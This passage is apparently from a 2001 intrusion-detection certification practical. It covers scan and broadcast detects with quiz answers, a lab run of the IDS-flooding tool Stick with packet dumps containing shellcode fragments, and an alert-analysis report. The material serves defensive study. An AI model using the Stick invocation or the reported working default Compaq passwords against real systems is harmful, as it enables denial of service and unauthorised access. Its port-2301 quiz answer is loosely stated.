Apr 27 11:50:38 202.98.123.126:4609 -> X.X.X.X:9705 SYN ******S*
Apr 27 11:50:38 202.98.123.126:4617 -> X.X.X.X:10008 SYN ******S*
Apr 27 11:50:42 202.98.123.126:4627 -> X.X.X.X:11753 SYN ******S*
Apr 27 11:50:43 202.98.123.126:4707 -> X.X.X.X:12754 SYN ******S*
Apr 27 11:50:43 202.98.123.126:4715 -> X.X.X.X:15104 SYN ******S*
Apr 27 11:50:43 202.98.123.126:4726 -> X.X.X.X:22252 SYN ******S*
Apr 27 11:50:44 202.98.123.126:4736 -> X.X.X.X:29369 SYN ******S*
Apr 27 11:50:47 202.98.123.126:4750 -> X.X.X.X:31337 SYN ******S*
Apr 27 11:50:48 202.98.123.126:4825 -> X.X.X.X:33567 SYN ******S*
Apr 27 11:50:49 202.98.123.126:4858 -> X.X.X.X:60008 SYN ******S*
```

From:
http://www.snort.org/discuss/Topic.asp?topic_id=940&forum_id=5&Topic_Title=coordinated%2Bscan%2Bfrom%2Bmultiple%2Bcoutries&forum_title=Exploit+Discussion

A lookup of the IP address revealed the following:

Whois:

```
inetnum:     24.132.82.0 - 24.132.83.255
netname:     UPC-A2000-AMSTERDAM6
descr:       UPC/A2000/ Kabeltelevisie
Amsterdam
descr:       regio Amsterdam6
country:     NL
```

7. Evidence of active targeting:
The evidence of active targeting is low. It appears to be a scan looking for specific open ports.

8. Severity:

Criticality: The target is not critical (my home machine) 1.
Lethality: The attack was ineffective 1.
System Countermeasures: The system is patched regularly and is running PortSentry. However, my Portsentry was not configured to pick up the 10008 packet. 3
Network Countermeasures: There were no Network countermeasures running except for tcpdump 1
(Criticality + Lethality) – (System Countermeasures + Network Countermeasures) = Severity
(1 + 1) – (3 + 1) = -2

9. Defensive recommendations:
In order to see if your machine has already been infected by the Lion Worm, download the program Lionfind. The best way to avoid infection by this worm, or others, is to patch your OS and any services that you need to have running on a regular basis. Exploits are found and published on a daily basis. Most vendors are quick try and make patches available.

10. Multiple choice question:

```
01:48:29.169697 24.132.83.152.8697 > r0o5t4R.1008: S 24536971:24536971(0) win 305 (ttl 150, id 2266)
01:48:42.745448 24.132.83.152.51775 > r0o5t4R.10008: S 18069359:18069359(0) win 1394 (ttl 169, id
2868)
```

Select the appropriate answer that best describes this trace:

A) Possible denial of service attack against r0o5t4R
B) Possible slow scan looking for 'unique' services
C) Tear Drop attack
D) These are responses returning from a FIN scan by r0o5t4R

Answer: **B** The timeframe is too long for it to look like a SYN flood. There is no fragmentation therefore TearDrop is out of the question. The responses back would be RESETs not SYNs.

Detect 5 – port 2301

Snort Log

```
03/23-19:49:10.074084 0:2:B3:2D:EA:E -> FF:FF:FF:FF:FF:FF type:0x800 len:0x3C
172.16.5.40:2301 -> 255.255.255.255:2301 UDP TTL:128 TOS:0x0 ID:38981 IpLen:20 DgmLen:40
Len: 20
01 00 00 30 9E C9 0A 3B 3C 00 00 00             ...0...;<...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/23-19:50:10.161185 0:2:B3:2D:EA:E -> FF:FF:FF:FF:FF:FF type:0x800 len:0x3C
172.16.5.40:2301 -> 255.255.255.255:2301 UDP TTL:128 TOS:0x0 ID:39069 IpLen:20 DgmLen:40
Len: 20
01 00 00 30 9E C9 0A 3B 3C 00 00 00             ...0...;<...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/23-19:51:10.248227 0:2:B3:2D:EA:E -> FF:FF:FF:FF:FF:FF type:0x800 len:0x3C
172.16.5.40:2301 -> 255.255.255.255:2301 UDP TTL:128 TOS:0x0 ID:39166 IpLen:20 DgmLen:40
Len: 20
```

```
01 00 00 30 9E C9 0A 3B 3C 00 00 00              ...0...;<...
```

=+

tcpdump Log

```
19:49:10.074084 172.16.5.40.2301 > 255.255.255.255.2301: udp 12
                         4500 0028 9845 0000 8011 f147 ac10 0528
                         ffff ffff 08fd 08fd 0014 565f 0100 0030
                         9ec9 0a3b 3c00 0000 0000 0000 0000
19:50:10.161185 172.16.5.40.2301 > 255.255.255.255.2301: udp 12
                         4500 0028 989d 0000 8011 f0ef ac10 0528
                         ffff ffff 08fd 08fd 0014 565f 0100 0030
                         9ec9 0a3b 3c00 0000 0000 0000 0000
19:51:10.248227 172.16.5.40.2301 > 255.255.255.255.2301: udp 12
                         4500 0028 98fe 0000 8011 f08e ac10 0528
                         ffff ffff 08fd 08fd 0014 565f 0100 0030
                         9ec9 0a3b 3c00 0000 0000 0000 0000
```

1. Source of Trace
The Source of the Trace was from the Internet network at my work.

2. Detect was generated by:

This detect was generated by Snort 1.6.3. The following rules were used to capture the traffic.

```
log tcp $HOME_NET any -> 255.255.255.255 any
log udp $HOME_NET any -> 255.255.255.255 any
```

3. Probability the source address was spoofed:

The probability that the source address is spoofed is low. This is an internal network behind a firewall and NAT (Network Address Translation) is running. The possibility exists yet is very slim.

4. Description of attack:

This is a udp broadcast that appears to be looking for other computers, within the network, that may be running a similar service. In this instance the service being queried is on port 2301.

5. Attack Mechanism:

I had seen traffic similar to this on my cable modem before. So when I noticed it on our Internet network I decided to investigate. Since I had not heard of port 2301, I checked the SANS list of commonly probed ports to see what it could possibly be used for. Finding nothing, I then checked an up-to-date port list that revealed the following:

cpq-wbem	2301/tcp	Compaq HTTP
cpq-wbem	2301/udp	Compaq HTTP

I did some further research and found that this involved the Compaq Web Management. According to the Compaq Insight Manager User Manual, the udp broadcast is part of the "Discovery Process".

> Compaq Insight Manager uses the discovery process to:
> •Discover a device's presence and network address (used to communicate with the device)
> •Determine if Compaq Insight Manager can retrieve SNMP data from the device
> This process builds a list of available devices on the network and indicates which devices are available for management. This is an ongoing process and provides a mechanism to determine whether a device is accessible by Compaq Insight Manager.
> From the list of all discovered devices, you create the Responsible Device List. Compaq Insight Manager monitors and manages only the devices in the Responsible Device List.

It was at this point in time that I thought "Oh well… just normal traffic". I then started to read some of the security advisories on the Compaq website. I contacted the administrator of the machine in question to ask him if he was staying current with the new patches and updates. To my surprise he was unaware that this service was even running. The machine was a new Compaq Armada E500 850MHz laptop, factory installed with Windows 2000.

I then began to dig a little deeper. It seemed as though almost all of the new Compaq machines (including Proliant servers) were being delivered with these web agents.

It was about this time that I stumbled upon the Phenoelit webpage more by accident than anything. There was a list of default passwords for numerous systems including Compaq Insight Manager. To my shock these passwords worked!

Machines that are not behind a firewall configured to block tcp and udp port 2301 can be easily accessed and valuable system information can be gathered. More importantly, Proliant servers can even be remotely rebooted.

6. Correlations:
Stephen Northcutt found similar activity on his Compaq laptop.

```
ZoneAlarm Basic Logging Client v2.1.44
Windows NT-5.0.2195--SP
type,date,time,source,destination,transport
PE,1999/01/02,03:40:54 -8:00 GMT,Compaq Diagnostics
Application,255.255.255.255:2301,N/A
```

From: http://www.sans.org/y2k/012401.htm

Number 070 (00.46) - November 9, 2000

{00.46.023} NW - Compaq Web-based manager exposes sensitive information

Compaq's Web-based manager (listening on port 2301) allows a remote attacker to access sensitive information, including the remote console password, snmp communities, etc.

Compaq is aware of the problem and recommends disabling the management service:

http://www5.compaq.com/products/servers/management/security.html

Source: SecurityFocus Bugtraq

http://archives.neohapsis.com/archives/bugtraq/2000-11/0098.html

From: http://www.sans.org/newlook/digests/SAC/netware.htm

Common Vulnerabilities and Exposure (CVE) Listing:

CVE-1999-0771	The web components of Compaq Management Agents and the Compaq Survey Utility allow a remote attacker to read arbitrary files via a .. (dot dot) attack.
CVE-1999-0772	Denial of service in Compaq Management Agents and the Compaq Survey Utility via a long string sent to port 2301.
CAN-2001-0134	** CANDIDATE (under review) ** Buffer overflow in cpqlogin.htm in web-enabled agents for various Compaq management software products such as Insight Manager and Management Agents allows remote attackers to execute arbitrary commands via a long user name.
CAN-2001-0374	** CANDIDATE (under review) ** The HTTP server in Compaq web-enabled management software for (1) Foundation Agents, (2) Survey, (3) Power Manager, (4) Availability Agents, (5) Intelligent Cluster Administrator, and (6) Insight Manager can be used as a generic proxy server, which allows remote attackers to bypass access restrictions via the management port, 2301.

7. Evidence of active targeting:
The evidence of active targeting is low. This is a udp broadcast apparently searching for other machines that are using Compaq Web Management.
.

8. Severity:

Criticality: The target is my work Internet network 3.
Lethality: Determined not to be an attack 0.
System Countermeasures: The system is patched regularly and has PortSentry running. 5
Network Countermeasures: There were no Network countermeasures running except for tcpdump. 1
(Criticality + Lethality) – (System Countermeasures + Network Countermeasures) = Severity
(3 + 0) – (5 + 1) = -3

9. Defensive recommendations:
In order to check to see if this service is running on a particular machine type : http://[IP-Address]:2301 . If a web page appears, the service is running. Visit the Compaq website for updates or for an explanation on how to disable the Web-Enabled Agents should they not be required. It is also very important to block port 2301 (udp and tcp) at the firewall.

10. Multiple choice question:

```
19:49:10.074084 172.16.5.40.2301 > 255.255.255.255.2301: udp 12
19:50:10.161185 172.16.5.40.2301 > 255.255.255.255.2301: udp 12
19:51:10.248227 172.16.5.40.2301 > 255.255.255.255.2301: udp 12
```

Port 2301 can be described as?

A) Well-known

B) Ephemeral
C) Reserved
D) None of the above

Answer: **B** Port numbers greater than 1023 are known as ephemeral, or client ports.

Assignment 2 – Analyze An Attack : Stick

"Speak softly and carry a big stick." - Theodore Roosevelt 1900

Introduction

I had been interested in intrusion detection, even before having attended the LoneStar SANS course. I was reading ZDNet News on 18 March 2001 and I came across an article entitled **"'Stick' causes an anti-hacking panic".** My jaw dropped. I then rushed to the FBI's NPIC website to read their Assessment 01-004. I remember thinking that if this tool could do what they were saying it could, those of us in the Information Security world would be in for some "challenging" times. When the opportunity arose to evaluate an attack tool, I jumped at the chance to see if Stick by Coretez Giovanni lived up to the hype.

As previously stated, Stick is a tool that was created by Coretez Giovanni, author of numerous papers including : "Bypassing Secure Web Transactions via DNS Corruption", "Topology of Denial-of-Service", and others (see ref.). According to the author, Stick can be used for a variety of testing, including:

- Stress testing of processor or alarm storage for example
- Determination of IDS' capability to validate state
- Firewall Rule testing
- IDS Rule testing

While all of these may be legitimate uses, the majority of people using this tool will not have "testing" on their minds.

Set-up

The first step is to download the latest version of the software, stick.tgz. I located a copy at http://www.securityfocus.com/tools/1974 After unzipping and "un-tar-ing" the file, you will be left with a directory "stick" that includes 5 files.

The README file describes exactly how to compile and run the program. One thing to note: Step 3 should read "run using ./stick [options]" and not "./snort".

Launching The Attack

This tool is like any other weapon : Point and shoot. The default destination of the attack has been preset to 10.0.0.1. The destination address can be specified with the dH xxx.xxx.xxx.xxx option. A single Class C can be identified as the target by using the dC xxx.xxx.xxx.0 option where the last octet will be randomized. Stick is even flexible enough to target a portion of a Class C with the option dR aaa.aaa.aaa.xxx aaa.aaa.aaa.yyy. The default source addresses are chosen randomly from 0.0.0.0-255.255.255.255. The same options can be used for source address selection. The options are sH, sC, and sR respectively.

Analysis of the Attack

The machine I chose to attack from was a PII-500 MHz running RedHat 6.2. After selecting the "unsuspecting" target (a PIII-850 MHz running Windows 2000), I held my breath and launched the attack.

```
$./stick dH MY.NET.5.5
Destination target value of: 50510ac
Stress Test - Source target is set to all 2^32 possiblities
 sending rule 769
 sending rule 750
 sending rule 177
 sending rule 709
 sending rule 583
 sending rule 80
 sending rule 225
 sending rule 229
 sending rule 296
 sending rule 10
 sending rule 701
 sending rule 408
 sending rule 197
 sending rule 62
 sending rule 1004
 sending rule 54
...
```

Figure 1

Instantly a report of the rules that were being sent (see Figure 1) began streaming up the screen. It was firing packets at an alarming rate. tcpdump was setup to capture the traffic. This log file was then run through Snort in order to show the packet contents. A excerpt of the Snort output follows:

```
05/22-19:33:10.639983 0:10:4B:6B:4:1 -> 0:D0:59:2D:DA:E7 type:0x800 len:0xC2
192.153.148.95:40363 -> MY.NET.5.5:3948 TCP TTL:242 TOS:0x0 ID:59166 IpLen:20 DgmLen:180
**UA**** Seq: 0x71C15552  Ack: 0x0  Win: 0xD733  TcpLen: 20  UrgPtr: 0x0
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00              ............

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

05/22-19:33:10.692901 0:10:4B:6B:4:1 -> 0:D0:59:2D:DA:E7 type:0x800 len:0x3E
77.233.206.69 -> MY.NET.5.5 ICMP TTL:217 TOS:0x0 ID:22663 IpLen:20 DgmLen:48
Type:0  Code:0  ID:29121  Seq:21842  ECHO REPLY
00 00 00 00 50 30 D7 33 21 FD 00 00 00 00 00 00  ....P0.3!.......
00 00 00 00                                      ....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

05/22-19:33:10.693407 0:10:4B:6B:4:1 -> 0:D0:59:2D:DA:E7 type:0x800 len:0xC2
232.80.221.0:40905 -> MY.NET.5.5:52544 TCP TTL:226 TOS:0x0 ID:10646 IpLen:20 DgmLen:180
**UAP*** Seq: 0x1782622C  Ack: 0xAC100505  Win: 0x987  TcpLen: 20  UrgPtr: 0x0
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 EB 6E 5E C6 06 9A 31 C9 89 4E 01 C6  .....n^...1..N..
46 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00  F...............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00              ............
```

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

05/22-19:33:10.693780 0:10:4B:6B:4:1 -> 0:D0:59:2D:DA:E7 type:0x800 len:0xC2
32.133.104.26:57848 -> MY.NET.5.5:9309 TCP TTL:202 TOS:0x0 ID:22597 IpLen:20 DgmLen:180
***AP*** Seq: 0x4C380E4  Ack: 0xAC100505  Win: 0x8507  TcpLen: 20
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 69 69 73 73 61 6D 70 6C 65 73 2F 73  ....iissamples/s
64 6B 2F 61 73 70 2F 64 6F 63 73 2F 63 6F 64 65  dk/asp/docs/code
62 72 77 73 2E 61 73 70 00 00 00 00 00 00 00 00  brws.asp........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00              ............

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

05/22-19:33:10.694030 0:10:4B:6B:4:1 -> 0:D0:59:2D:DA:E7 type:0x800 len:0xC2
133.244.190.120 -> MY.NET.5.5 UDP TTL:203 TOS:0x0 ID:3410 IpLen:20 DgmLen:180 MF
Frag Offset: 0x800   Frag Size: 0xA0
5F 85 00 00 00 00 00 00 AC 10 05 05 50 18 85 07  _...........P...
2E 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00  . ..............
00 00 00 00 00 00 00 00 01 86 BC 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

05/22-19:33:10.694284 0:10:4B:6B:4:1 -> 0:D0:59:2D:DA:E7 type:0x800 len:0xC2
106.255.97.1:18306 -> MY.NET.5.5:0 UDP TTL:245 TOS:0x0 ID:19510 IpLen:20 DgmLen:180
Len: 0
AC 10 05 05 50 18 85 07 2E 20 00 00 00 00 00 00  ....P.... ......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
90 90 90 E8 C0 FF FF FF 2F 62 69 6E 2F 73 68 00  ......../bin/sh.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00                          ........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

…

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

05/22-19:33:14.922258 0:10:4B:6B:4:1 -> 0:D0:59:2D:DA:E7 type:0x800 len:0xC2
24.196.205.1:7385 -> MY.NET.5.5:57383 TCP TTL:217 TOS:0x0 ID:34862 IpLen:20 DgmLen:180
**UAP*** Seq: 0x1B56D59  Ack: 0xAC100505  Win: 0x480F  TcpLen: 20  UrgPtr: 0x0
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 66 25 2E 66 25 2E 66 25 2E 66 25 2E  ....f%.f%.f%.f%.
66 25 2E 00 00 00 00 00 00 00 00 00 00 00 00 00  f%.............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
```

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00              ............

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


Exiting...


===============================================================================

Snort processed 2356 packets.
Breakdown by protocol:              Action Stats:

    TCP: 1651       (70.076%)        ALERTS: 0
    UDP: 286        (12.139%)        LOGGED: 0
   ICMP: 343        (14.559%)        PASSED: 0
    ARP: 0          (0.000%)
   IPv6: 0          (0.000%)
    IPX: 0          (0.000%)
  OTHER: 0          (0.000%)
===============================================================================
Fragmentation Stats:
Fragmented IP Packets: 76        (3.226%)
   Rebuilt IP Packets: 0
   Frag elements used: 0
Discarded(incomplete): 0
   Discarded(timeout): 0
===============================================================================
```

The first thing to be noted is the sheer number of packets versus time. I started the tool at 19:33:10.639983 and stopped it only 4.282275 seconds later. Notice that 2356 packets, including fragmented packets, have been launched at the target. This works out to approximately 550 packets per second! I ran the tool again against the same target and I watched its %CPU utilization rise and plateau at 100%. This would result in extremely degraded performance of the target, or even, a system crash.

Jamie French, GCIA performed a similar test. Here are his correlating results taken from his website:

1.The victim machine was running Slackware 7.0 on a 550MHz AMD with 160MB RAM.
2.The attacker machine was running Slackware 7.1 on a 700MHz PentIII with 320MB RAM.
3.Both machines are operating as servers (low end).
4.Victim machine logged 69503903 bytes within 60 seconds on a 100MBit ethernet connection.
5.Victim machine logged 99842 packets in 60 seconds.
6.Attacker sent 156600 packets in 60 seconds.
7.The victim dropped approximately 36.24% of the packets.

Coretez, himself, made reference to the tool's power:

A Linux based snort will hit 100% CPU and start dropping packets. The stress on recording and disk IO is another problem.

Next, notice how each packet's header information is random. From the source IP address, to the TTL, right down to the IP identification number. This makes it difficult, if not impossible, to identify that this particular tool was used in the attack. "Luckily" the target IP address remains the same…☹

The ZDNet article, mentioned in the introduction, contained and interesting quote:

> An attacker using Stick is akin to a burglar deactivating a home security system before braking through the front door.

I disagree with this analogy. A more accurate assessment of the tool would be:

> An Attacker using Stick is akin to a burglar tripping 550 different house alarms in your neighborhood at the exact instant he is breaking into your house.

Your security company simply would not have the resources to investigate each alarm/incident. An effective Denial of Service (DoS) has been created against the personnel whose job is to manage the security incidents.

As previously mentioned, the creator of this tool has stated that it was designed for "testing" purposes. What strikes me as odd is the paper he wrote entitled: "Fun With Packets : Designing a Stick" has been saved under the filename Peopledos.pdf. Hmmm…☺

The speed of this tool coupled with the fact that each packet was designed to trigger a specific Snort alert is troubling. It is easy to see that prolonged exposure to such a tool could easily result in both hardware and personnel "resource starvation".

Defensive Recommendations

Absolute protection from a Denial of Service attack is unreasonable. Limiting the effects and duration of an attack are about the best one can hope for.

1- Establish closer ties with your ISP.

In the event you are on the receiving end of a DoS that involves spoofed source addresses (like Stick), your ISP may be called upon to trace traffic flows. They will be one of your first points of contact in order to trace back and find the source of the DoS.

2- Filter Inbound Traffic

Your external router should be configured to drop all packets that come from reserved IP addresses. This will stop at least some of the traffic to the host that has been targeted on your network. (see excerpt from Mixter, author of Tribal Flood Network (TFN) and TFN2K)

3- Filter Outbound Traffic

Your external router should be configured so that only IP addresses that belong to your network are allowed to send and receive packets. This will prevent hosts on your network from participating in spoofed source IP DoS attacks. (see below)

> A guide to improving network security to protect the
> Internet against future forms of security hazards
> by
> Mixter
> January 2000
>
> …
>
> Network egress filtering is a measure to identify and minimize incoming traffic with spoofed IP addresses and is accomplished by configuring your border routers to refuse incoming traffic from unassigned and unreachable (not present in global routing tables) hosts, and traffic with IP addresses that should not be coming from a specific router port (for example, source IP addresses from your local network coming from an outbound port). Network ingress filtering, as described in RFC2267, basically means not to permit traffic from an inbound port with source IP addresses other than from your local network emanating to external networks. While these measures cannot protect from DoS attacks or intrusions, they can be used as an extra facility for logging and detecting DoS and intrusion attempts that make use of spoofed IP addresses.

4- Limit IDS Ruleset

Make sure your IDS is not triggering on rules that do not apply to your network. For example, if your network were composed entirely of Windows NT machines there would be no reason for your IDS to trigger on Remote Procedure Call (RPC) rules.

5- Traffic Rate Limiting

An organization can coordinate traffic rate limiting with its ISP. This will limit the amount of nonessential traffic crossing into the network. One example is to limit the amount of ICMP traffic allowed into a network. ICMP-based DoS attacks are common.
http://www.captusnetworks.com/TLIDSWhitePapers.pdf

Buried in the code for Stick, Coretez hints at some defenses.

```
* NOTE: I'm going to use just sorry ass uniform distribution.  That
* means that this code is not well adapted to hiding a hack if the
* administrator is doing a hueristical analysis of the alarm via
```

* source port and source IP.

Most exploits require several packets in order to compromise a host. Therefore in the midst of all of the random Source IPs and Source Ports sent by Stick an attack might stick out because there would be multiple packets with the same source IPs and source ports while the attack was in progress.

Conclusion

The “challenging times”, referred to in the introduction, are already upon us. A DoS attack targeting those individuals responsible for IT security, is a disturbing idea. With Stick, Coretez Giovanni has created a tool to that can be used to exploit this concept. The defensive recommendations put forth in this paper can limit the scope and effectiveness of a spoofed ip attack. However, it is only a matter of time before this open-source code is integrated into a more dangerous distributed DoS tool.

Other Similar Tools

In doing my research for this assignment I could only find one another tool Snot v0.91 with the same functionality.
http://marc.theaimsgroup.com/?l=snort-users&m=98581102904807&w=2
http://www.geocities.com/sniph00/

References

http://www.mousepadsc.com/whoisonyournetwork.html
http://www.eurocompton.net/stick/papers/Peopledos.pdf
http://www.whitehats.ca/screen/whitehatsca/members/members_home/malik/malik_stick.html
http://kaizo.org/lists/incidents/mar-apr/0074.shtml
http://packetstorm.securify.com/papers/contest/Mixter.doc

RFC2827 (BCP38): "Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing", P. Ferguson, D. Senie, May 2000.
(Obsoletes RFC 2267)
http://www.rfc-editor.org/rfc/rfc2827.txt
http://www.cisco.com/warp/public/cc/so/cuso/epso/sqfr/safe_wp.htm

Assignment 3 - "Analyze This" Scenario (30 Points)

3.1 Introduction

I would like to take the time to thank you for the opportunity to examine the data you provided our company. Your decision to begin logging data with the software Snort was an excellent first step down the road of Information Security. This document will provide you with a detailed analysis of anomalous activity on your network. As well, defensive recommendations will be made in order for us to help you improve the overall security of your network.

3.2 Files

OOSCHE4 OOSCHE5 OOSCHE24 OOSCHE26 OOSCHE28 OOSCHE29 OOSCHE30 OOSCHE31 OOSCHE32 OOSCHE33 OOSCHE34 OOSCHECK	SNORTA3 SNORTA6 SNORTA25 SNORTA35 SNORTA36 SNORTALE SNORTS2 SNORTS7 SNORTS8 SNORTS26 SNORTS27 SNORTS29 SNORTS32 SNORTS34 SNORTSCA	UMBCNI2 UMBCNI3 UMBCNI4 UMBCNI5 UMBCNI25 UMBCNI26 UMBCNI27 UMBCNI28 UMBCNI29 UMBCNI30 UMBCNI31 UMBCNI32 UMBCNI33 UMBCNI34 UMBCNI35 UMBCNI36 UMBCNI37 UMBCNI38 UMBCNI39 UMBCNI40 UMBCNI41	UMBCNI42 UMBCNI43 UMBCNI44 UMBCNI45 UMBCNI46 UMBCNI47 UMBCNI48 UMBCNI49 UMBCNI50 UMBCNI51 UMBCNI52 UMBCNI53 UMBCNI54 UMBCNI55 UMBCNI56 UMBCNI57 UMBCNI58 UMBCNI59 UMBCNI60 UMBCNI61

The analysis of the data will be broken down into 3 sections: Internal Signatures, External Signatures (those involving external source and destination addresses), and Other Detects of Interest. It should be noted that in the review of the data provided to us, that there were "gaps" in data collection due to unexpected circumstances (ie. power outage). Therefore this document is an analysis of what has been seen in these logs. In many cases our analysis and recommendations should be followed up with further investigation.

All Internal Signatures

- 53113 alerts.

Earliest alert at **00:01:03**.208289 *on 01/30*
Latest alert at **23:26:11**.569536 *on 03/10*

Signature (click for definition)	# Alerts	# Sources	# Destinations
SITE EXEC – Possible wu-ftpd exploit - GIAC000623	1	1	1
Russia Dynamo - SANS Flash 28-jul-00	1	1	1
Probable NMAP fingerprint attempt	2	2	2

TCP SMTP Source Port traffic	4	4	3
Security 000516-1	4	2	2
STATDX UDP attack	8	2	8
Back Orifice	25	2	25
SUNRPC highport access!	112	7	7
Null scan!	135	118	90
Tiny Fragments - Possible Hostile Activity	229	20	12
Queso fingerprint	469	58	112
WinGate 1080 Attempt	499	105	229
Attempted Sun RPC high port access	543	7	7
connect to 515 from inside	591	6	5
SMB Name Wildcard	729	307	425
SNMP public access	1155	4	8
External RPC call	1517	4	1466
NMAP TCP ping!	4818	12	3824
Watchlist 000222 NET-NCFC	5728	24	12
Possible RAMEN server activity	9914	2346	5067
SYN-FIN scan!	11608	9	10346
Watchlist 000220 IL-ISDNNET-990517	15021	53	78

SITE EXEC - Possible wu-ftpd exploit - GIAC000623

- 1 alert with this signature.

Earliest such alert at **16:44:02**.658052 *on 03/06*
Latest such alert at **16:44:02**.658052 *on 03/06*

SITE EXEC - Possible wu-ftpd exploit - GIAC000623	1 sources	1 destinations

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))

128.61.136.233	1	1159	1	1159

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.219.22	1	2	1	2

Whois

Georgia Institute of Technology (NET-GATECH)
Office of Computing Services
258 4th Street, Rich Building
Atlanta, GA 30332
US

Nslookup

Name: tann6233.mse.gatech.edu

Description

SITE EXEC gives remote ftp users the ability to execute commands on the ftp server. WU-FTP is a popular program used to provide FTP services. There are several buffer overflow exploits that could give root access to the Attacker.

Additional Information

http://www.whitehats.com/info/IDS286
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0574
http://advice.networkice.com/Advice/Intrusions/2001322/default.htm
http://www.securityfocus.com/bid/1387

Analysis

On 6 Mar tann6233.mse.gatech.edu began a crafted SYN-FIN scan from source port 21 to destination port 21 in an attempt to locate ftp servers. It then proceeded to run the SITE EXEC exploit against MY.NET.219.22. It should be checked to see if it has been compromised.

```
03/06-16:07:53.847779 [**] SYN-FIN scan! [**] 128.61.136.233:21-> MY.NET.1.136:21
03/06-16:07:53.870006 [**] SYN-FIN scan! [**] 128.61.136.233:21-> MY.NET.1.137:21
03/06-16:44:02.658052 [**] SITE EXEC - Possible wu-ftpd exploit - GIAC000623 [**] 128.61.136.233:4705->
MY.NET.219.22:21
```

Russia Dynamo - SANS Flash 28-jul-00

- 1 alert with this signature.

Earliest such alert at **20:46:15**.618252 *on 02/03*
Latest such alert at **20:46:15**.618252 *on 02/03*

Russia Dynamo - SANS Flash 28-jul-00	1 sources	1 destinations

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))

MY.NET.203.50	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
194.87.6.79	1	1	1	1

Whois
inetnum: 194.87.0.0 - 194.87.255.255
netname: RU-DEMOS-940901
descr: Provider Local Registry
